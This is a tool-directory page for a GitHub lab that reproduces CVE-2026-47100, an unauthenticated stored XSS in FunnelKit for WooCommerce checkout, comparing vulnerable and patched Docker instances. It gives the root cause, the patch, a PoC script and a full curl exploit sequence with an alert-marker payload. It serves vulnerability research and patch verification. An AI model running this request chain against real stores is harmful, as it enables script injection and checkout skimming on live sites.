Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-47100-Analysis-Lab — Local Docker lab for reproducing CVE-2026-47100, an unauthenticated Stored XSS in FunnelKit for WooCommerce. Includes PoC scripts to compare vulnerable and patched versions. | Kitploit
Tools/GitHubGitHub/rootdirective-sec/cve-2026-47100-analysis-lab
Vulnerability AnalysisWeb Application ExploitationCTFPenetration TestingLearning & EducationLabs & Practice
GitHubrootdirective-sec/cve-2026-47100-analysis-lab

CVE-2026-47100-Analysis-Lab

Local Docker lab for reproducing CVE-2026-47100, an unauthenticated Stored XSS in FunnelKit for WooCommerce. Includes PoC scripts to compare vulnerable and patched versions.

View Repository
13 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-47100 — FunnelKit / Funnel Builder for WooCommerce Checkout Stored XSS Lab

Local Docker lab for reproducing CVE-2026-47100 in a safe, least-harm way. This lab compares a vulnerable FunnelKit version against a patched version and verifies the behavior using a harmless JavaScript marker/alert.


1. Overview

CVE-2026-47100 is a missing authorization vulnerability in Funnel Builder / FunnelKit for WooCommerce Checkout before version 3.15.0.3.

The vulnerable checkout AJAX flow allows an unauthenticated visitor to invoke an internal plugin method and write data into FunnelKit's built-in global external script setting. Because that setting is later rendered on FunnelKit checkout pages, the issue can become unauthenticated Stored XSS on checkout pages.

This repository reproduces the issue locally using two Docker services:

ServiceVersionURLExpected result
vuln3.15.0.2http://127.0.0.1:8081vulnerable behavior confirmed
patched3.15.0.3http://127.0.0.1:8082write blocked / marker not rendered

2. Vulnx Discovery Screenshot

vulnx

Initial CVE selection from Vulnx output. The lab and PoC were built manually by comparing vulnerable and patched behavior.


3. Impact

An unauthenticated attacker can abuse the public checkout AJAX flow to persist JavaScript into FunnelKit's global external script setting.

In a real WooCommerce store, this could allow malicious JavaScript to run in the browser of users visiting the checkout page. Public reporting has linked this vulnerability class to checkout skimming campaigns.

This lab intentionally uses only a harmless proof marker:

root@kitploit:~
<script>window.CVE_2026_47100_LAB_PROOF="ok";alert("CVE-2026-47100 LAB Stored XSS")</script>

4. Root Cause

The vulnerable version accepts user-controlled checkout data from the public WooCommerce AJAX endpoint:

root@kitploit:~
/?wc-ajax=update_order_review

Inside the FunnelKit checkout flow, the request can include:

root@kitploit:~
wfacp_input_hidden_data={"action":"update_global_settings_fields", ...}

The vulnerable logic checks whether the supplied action name exists as a class method. If the method exists, it can be invoked from the public checkout flow.

Simplified vulnerable behavior:

root@kitploit:~
if ( method_exists( __CLASS__, $action ) ) {
    self::$output_resp = self::$action( $input_data );
}

The important attacker-controlled action is:

root@kitploit:~
update_global_settings_fields

That method updates the WordPress option:

root@kitploit:~
_wfacp_global_settings

and specifically the built-in FunnelKit key:

root@kitploit:~
wfacp_global_external_script

The stored value is later read by the checkout template and rendered on the checkout page. This creates the Stored XSS condition.

Exploit chain:

root@kitploit:~
Unauthenticated checkout visitor
→ public WooCommerce update_order_review AJAX
→ attacker-controlled wfacp_input_hidden_data[action]
→ update_global_settings_fields()
→ update_option('_wfacp_global_settings')
→ wfacp_global_external_script rendered on checkout page
→ Stored XSS

5. Patch Summary

Version 3.15.0.3 hardens the vulnerable path with two important changes.

5.1 Public action allow-list

The patched version restricts which checkout actions can be invoked from the public checkout flow.

Simplified patched behavior:

root@kitploit:~
$allowed_actions = array(
    'update_cart_item_quantity',
    'update_cart_multiple_page',
    'remove_cart_item',
    'undo_cart_item',
    'prep_fees',
);

if (
    is_string( $action ) &&
    in_array( $action, $allowed_actions, true ) &&
    method_exists( __CLASS__, $action )
) {
    self::$output_resp = self::$action( $input_data );
}

This prevents arbitrary internal methods such as update_global_settings_fields from being dispatched by unauthenticated checkout requests.

5.2 Capability check before settings update

The patched version also adds an authorization check before global settings can be updated:

root@kitploit:~
if ( ! current_user_can( 'manage_woocommerce' ) ) {
    return $resp;
}

This means the global external script setting should only be writable by users with WooCommerce management privileges.


6. Lab Architecture

root@kitploit:~
host
├── http://127.0.0.1:8081  → WordPress + WooCommerce + FunnelKit 3.15.0.2
└── http://127.0.0.1:8082  → WordPress + WooCommerce + FunnelKit 3.15.0.3

The seed process creates:

root@kitploit:~
Lab Product
- WooCommerce product used to create a valid cart/session
- expected product ID in clean lab: 10

Lab Funnel Checkout
- FunnelKit checkout page used to trigger the checkout AJAX flow
- expected checkout post ID in clean lab: 11

The lab uses a deterministic checkout URL:

root@kitploit:~
/?post_type=wfacp_checkout&p=11

This explicitly loads the FunnelKit checkout custom post in the local Docker lab.


7. Running the Lab

Start the lab:

root@kitploit:~
docker compose up -d --build

Check services:

root@kitploit:~
docker compose ps

Expected services:

root@kitploit:~
vuln      http://127.0.0.1:8081
patched   http://127.0.0.1:8082

Install Python dependencies:

root@kitploit:~
python3 -m venv .venv
. .venv/bin/activate
pip install requests

8. PoC Scripts

8.1 Lab PoC

poc/poc_lab.py is the deterministic lab PoC.

It assumes the local Docker seed values:

root@kitploit:~
product_id = 10
checkout_post_id = 11

Run against the vulnerable service:

root@kitploit:~
python3 poc/poc_lab.py http://127.0.0.1:8081

Expected result:

root@kitploit:~
[*] AJAX action: update_global_settings_fields
[*] AJAX status: True
[*] AJAX msg: Changes saved
[*] Marker rendered in HTML: True

=== Result ===
likely_vulnerable:  True

[+] Vulnerable behavior confirmed.

Run against the patched service:

root@kitploit:~
python3 poc/poc_lab.py http://127.0.0.1:8082

Expected result:

root@kitploit:~
[*] AJAX action: update_global_settings_fields
[*] AJAX status: None
[*] AJAX msg: None
[*] Marker rendered in HTML: False

=== Result ===
likely_vulnerable:  False

[-] Vulnerable behavior was not confirmed.
[-] On patched targets this is expected.

8.2 Generic Authorized Self-Test Tool

poc/poc_check.py is a more portable authorized self-test tool.

Passive check only:

root@kitploit:~
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11"

Active authorized check:

root@kitploit:~
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  --product-id 10 \
  --active \
  --i-am-authorized

Marker-only mode without alert:

root@kitploit:~
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  --product-id 10 \
  --active \
  --i-am-authorized \
  --marker-only

Cleanup attempt:

root@kitploit:~
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  --product-id 10 \
  --active \
  --i-am-authorized \
  --cleanup

9. Manual Test

9.1 Vulnerable service

Create a fresh WooCommerce session and add the lab product to cart:

root@kitploit:~
rm -f /tmp/cve47100-vuln.cookies

curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
  "http://127.0.0.1:8081/?add-to-cart=10" >/dev/null

Fetch the FunnelKit checkout page and extract the WooCommerce checkout nonce:

root@kitploit:~
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
  "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11")

NONCE=$(printf '%s' "$CHECKOUT_HTML" \
  | grep -oE '"update_order_review_nonce":"[^"]+"' \
  | head -n1 \
  | cut -d: -f2 \
  | tr -d '"')

echo "NONCE=$NONCE"

Send the crafted checkout AJAX request:

root@kitploit:~
curl -i "http://127.0.0.1:8081/?wc-ajax=update_order_review" \
  -c /tmp/cve47100-vuln.cookies \
  -b /tmp/cve47100-vuln.cookies \
  -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
  --data-urlencode "security=${NONCE}" \
  --data-urlencode "payment_method=cod" \
  --data-urlencode "country=TH" \
  --data-urlencode "state=" \
  --data-urlencode "postcode=10110" \
  --data-urlencode "city=Bangkok" \
  --data-urlencode "address=Lab Street" \
  --data-urlencode "address_2=" \
  --data-urlencode "s_country=TH" \
  --data-urlencode "s_state=" \
  --data-urlencode "s_postcode=10110" \
  --data-urlencode "s_city=Bangkok" \
  --data-urlencode "s_address=Lab Street" \
  --data-urlencode "s_address_2=" \
  --data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'

Verify the option was written:

root@kitploit:~
docker compose exec vuln wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json

Expected result:

root@kitploit:~
{
  "wfacp_global_external_script": "<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")<\/script>",
  "wfacp_checkout_global_css": ""
}

Verify the marker is rendered:

root@kitploit:~
curl -s "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  | grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'

Open in a browser to see the harmless alert:

root@kitploit:~
http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11

9.2 Patched service

Repeat the same flow against port 8082:

root@kitploit:~
rm -f /tmp/cve47100-patched.cookies

curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
  "http://127.0.0.1:8082/?add-to-cart=10" >/dev/null

CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
  "http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11")

NONCE=$(printf '%s' "$CHECKOUT_HTML" \
  | grep -oE '"update_order_review_nonce":"[^"]+"' \
  | head -n1 \
  | cut -d: -f2 \
  | tr -d '"')

echo "NONCE=$NONCE"
root@kitploit:~
curl -i "http://127.0.0.1:8082/?wc-ajax=update_order_review" \
  -c /tmp/cve47100-patched.cookies \
  -b /tmp/cve47100-patched.cookies \
  -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
  --data-urlencode "security=${NONCE}" \
  --data-urlencode "payment_method=cod" \
  --data-urlencode "country=TH" \
  --data-urlencode "state=" \
  --data-urlencode "postcode=10110" \
  --data-urlencode "city=Bangkok" \
  --data-urlencode "address=Lab Street" \
  --data-urlencode "address_2=" \
  --data-urlencode "s_country=TH" \
  --data-urlencode "s_state=" \
  --data-urlencode "s_postcode=10110" \
  --data-urlencode "s_city=Bangkok" \
  --data-urlencode "s_address=Lab Street" \
  --data-urlencode "s_address_2=" \
  --data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'

Verify the option remains unchanged:

root@kitploit:~
docker compose exec patched wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json

Expected result:

root@kitploit:~
[]

Verify the marker is not rendered:

root@kitploit:~
curl -s "http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11" \
  | grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'

Expected result: no output.


10. Evidence Summary

The vulnerable service confirms the issue when all of the following are true:

root@kitploit:~
AJAX action: update_global_settings_fields
AJAX status: True
AJAX msg: Changes saved
Marker rendered in HTML: True

The patched service confirms the fix when:

root@kitploit:~
AJAX action: update_global_settings_fields
AJAX status: None
AJAX msg: None
Marker rendered in HTML: False
_wfacp_global_settings remains []

11. Safety Notes

This repository is for local, authorized security research only.

Allowed scope:

root@kitploit:~
localhost
127.0.0.1
Docker Compose lab network
systems you own or have explicit written permission to test

Not allowed:

root@kitploit:~
payment skimming
cookie theft
token theft
credential harvesting
external exfiltration
unauthorized testing of third-party stores

The PoC uses a harmless alert and marker only.


12. References

  • CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-47100
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-47100
  • VulnCheck Advisory: https://www.vulncheck.com/advisories/funnel-builder-for-woocommerce-checkout-missing-authorization-via-ajax
  • Sansec Research: https://sansec.io/research/funnelkit-woocommerce-vulnerability-exploited
  • WordPress Trac changeset: https://plugins.trac.wordpress.org/changeset/3530797/funnel-builder/tags/3.15.0.3/modules/checkouts/includes/class-wfacp-ajax-controller.php
Download Tool